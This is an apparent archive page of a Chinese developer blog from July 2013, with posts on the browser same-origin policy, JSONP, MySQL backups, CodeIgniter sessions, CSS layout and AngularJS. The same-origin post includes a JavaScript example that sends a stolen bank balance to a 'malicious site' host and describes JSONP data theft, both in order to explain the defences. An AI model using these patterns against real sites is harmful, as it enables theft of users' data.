Month: July 2013

关于浏览器同源策略的几点说明

Leave a Comment / Frontend / July 16, 2013

没有同源策略倒底会怎么样？真的会有问题？ 如果用户登录网银，再在同一个浏览器的一个tab里打开一个恶意站点；这个恶意站点页面里包含一段js代码： var balanceHtml = ajax.get(“http://mybank/我的余额.jsp”); ajax.post(“http://恶意站点/保存信息.jsp”, balanceHtml); 那么用户的银行余额会轻松地被恶意站点窃取。 有了同源策略， 上面的第一行代码会被浏览器拒绝执行 （严格地说，是会执行，但不会有返回值；所以“/转账给我.jsp”这类操作应该通过csrf token保护起来） 那么通过jsonp跨域，然后再窃取网银余额呢？ 恶意站点的<script src="http://mybank/我的余额.jsp">不会执行成功，因为拿到的结果不是合法的JS语句，无法继续执行。 但如果网银服务端以正规jsonp格式暴露了余额数据，那么恶意站点的<script src="http://mybank/我的余额.jsonp"/>最终会变成 callback({"balance":"1000块"})来执行，数据一下子就偷到了。 所以，机密数据不能通过jsonp来暴露。 设置document.domain可以跨子域 1. 要注意的是，设置document.domain时要求两个页面都设置成一模一样的domain. 一个domain.com, 另一个a.domain.com是不行的。 2. 如果a.domain.com的页面想访问b.domain.com的ajax服务，通过设置document.domain这种方式是无效的。因为ajax返回的只是一串json，没地方设置domain. 设置document.domain这种作法更适合于iframe包含的情境。 待续。。。

jsonp原理

Leave a Comment / Frontend / July 16, 2013

远程jsonp服务提供的东西和普通的ajax+json一样，也是一串json. 普通ajax调用受限于浏览器的同域限制，只适用于客户端和服务端属于同一个域名的情况。 jsonp就是用来突破这个限制的。它本质并不是ajax调用，而是一个“远程script源码的引用” <script src="http://remote-site/hello.jsonp"> <!–这种引用不受同源策略限制–> </script> http://remote-site/hello.jsonp返回的格式类似于： 引用    onJsonpLoad("{resut:success,value:123}"); 也就是说，返回的是一条符合JS语法的javascript语句   1. 所以，<script src="xxx"/>这种方式才能成功运行。   2. 远程返回语句后，客户端还会立即执行这条语句；这就意味着onJsonpLoad()方法是客户端中的一个回调方法。为了给予客户端足够的灵活性，服务端一般不会将回调方法名写死，而是让客户端在URL里指定，再原样返回。

考虑到编码问题，最好不要在远程登录工具里向数据库写入非西欧字符

Leave a Comment / Linux/Unix/Windows / July 14, 2013

用远程登录工具(如putty)登录远程主机后，再在工具的窗口里登录数据库，然后写入非西欧字符，很容易导致乱码。 今天我就是这样遇到乱码的：   1. 在xshell窗口里登录localhost数据库，用insert语句插入汉字，页面显示乱码，虽然主机、数据库、php的字符集方式都是乱码。   2. 改用 mysql> source sql文件，仍然乱码。 远程登录工具在编码问题上一直都牵扯不清。为了避免乱码，最好使用下列方式之一：   1. 在ubuntu原生shell里直接登录远程数据库   2. 在ubuntu原生sheel里ssh登录远程主机，再在这个窗口里登录主机上的数据库

mysql数据备份的策略和工具

Leave a Comment / Database / July 14, 2013

一般要同时考虑全量备份和增量备份，比如一周一个全量，一天一个增量。 全量备份用mysqldump，一般用它生成一堆sql 增量备份要依赖binlog相关的东西 全量备份和恢复的脚本 备份脚本 引用 #!/bin/sh now_day=`/bin/date +%Y%m%d` now_time=`date +%Y%m%d%H%M%S` data_root=’/somepath/backup’ this_data_dir=$data_root/$now_day this_data_file=$now_time.sql mkdir -p $this_data_dir mysqldump -h host -uuser -ppassword database > $this_data_dir/$this_data_file 将以上脚本加入cron 引用 crontab -e 00 22 * * * /somepath/backup.sh  ##一天一次，每天10点 数据恢复其实就是执行备份出的sql 引用 mysql -h host -uuser -ppassword database < /somepath/some-backup-file.sql 待续

codeIgniter默认情况下关闭浏览器不会使session过期

Leave a Comment / Non-Java Language / July 13, 2013

codeIgniter默认情况下关闭浏览器不会使session过期。也就是说，如果你没有显式登出而只是关闭浏览器，在一定时间内（codeIgniter默认是２小时）打开浏览器重新访问这个网站,会发现你仍处于登录状态。 为了规避这个风险，应该 //config.php $config[‘sess_expire_on_close’] = TRUE;

垂直滚动条对居中布局的影响

Leave a Comment / Frontend / July 13, 2013

典型的居中布局是让body的margin和padding为0，然后让内容(如<div id= content/>) 居中。 这种做法的问题是：页面元素在有垂直滚动条和无垂直滚动条时，相对于屏幕的位置不同。 比如你的屏宽是2000，内容宽度是1000; 无滚动条时，内容最左端相对于屏幕左端的偏移量就是500 ([2000-1000]/2) . 有滚动条时，由于滚动条本身要占一定宽度（比如说20），则新的偏移量将是 (2000-20-1000)/2 =490. 如果用户从一个无滚动条页面（比如数据很少的列表页面）切换到一个有滚动条的页面（数据很多的列表页面），就会感觉到明显的页面的扯动，用户体验很不好。 要解决这个问题，可以把居中布局改成按居左布局+固定偏移量，baidu的搜索页就是这样布局的。如果想继续用居中布局，有一种办法是强制全站总是出现垂直滚动条： html {overflow-y: scroll;} /*这是css3属性，有的浏览器可能不支持*/

angularjs研究

Leave a Comment / Frontend / July 10, 2013

Angularjs使用MVC的好处 1.从设计的层面来看：原来富客户端程序需要用javascript操纵dom结构中的细微元素，需要知道dom结构的细节，造成Controller和View的强耦合：实现JS逻辑时需要确切地知道dom结构的细节，而且如果dom结构改了，js也要改。用angularjs没有这个问题，它只是把数据丢给View，View自己来编排数据。 2.从代码的层面来看：     a.C和V： html代码和javascript代码可以完全分离，没有任何缠绕。Javascript代码里不会操纵dom元素，dom的html代码里也不需要注册javascript钩子     b.V和M: 数据不再由javascript函数填充到dom中，而是在dom中使用与html友好的模板标签，直接获得数据。     c.你将要写的Javascript代码看起来都是完整的controller对象，完全由数据+方法组成，非常易读、易维护；而且代码以“类”为单位，可以形成良好的代码组织结构。 用户输入事件的处理模式 1. M/V直接联动，并且自动化：原有的模式为dom输入元素上的用户输入事件指定监听函数，事件发生时运行监听函数，在函数里操纵dom输出元素；新模式是为dom输入元素直接绑定Model, 输入事件立即造成Model的修改，绑定这个Model的输出元素也直接跟着变。整个过程不需要开发者写一行Javascript代码，框架（容器）帮你在幕后做好相关的事情。 2.非输入型事件: 注册一个controller函数<img ng-src="{{img}}" ng-click="setImage(img)"> 。那angularjs是否包装了所有的JS事件模型？是比较全的，但对一些mobile事件还没有支持。 数据无关的原生JS操作如何支持 1.如何实现javascript的强交互效果，比如弹出框、tab等等?  答：可以在controller里的function直接调用alert() 2.Javascript现有的一些非domAPI，比如从请求中获得参数、读取cookie是否还支持？ 答：支持的，都有相应的service可以注入 组件化能力 1. 可以用directive命令来生成标签 2. 多个组件可以放在同一张页面里用，而且不会生成iframe; 但是经研究，js、css文件重复、元素命名冲突问题并没有得到解决；如果两个组件都是<html>级的，则很容易出错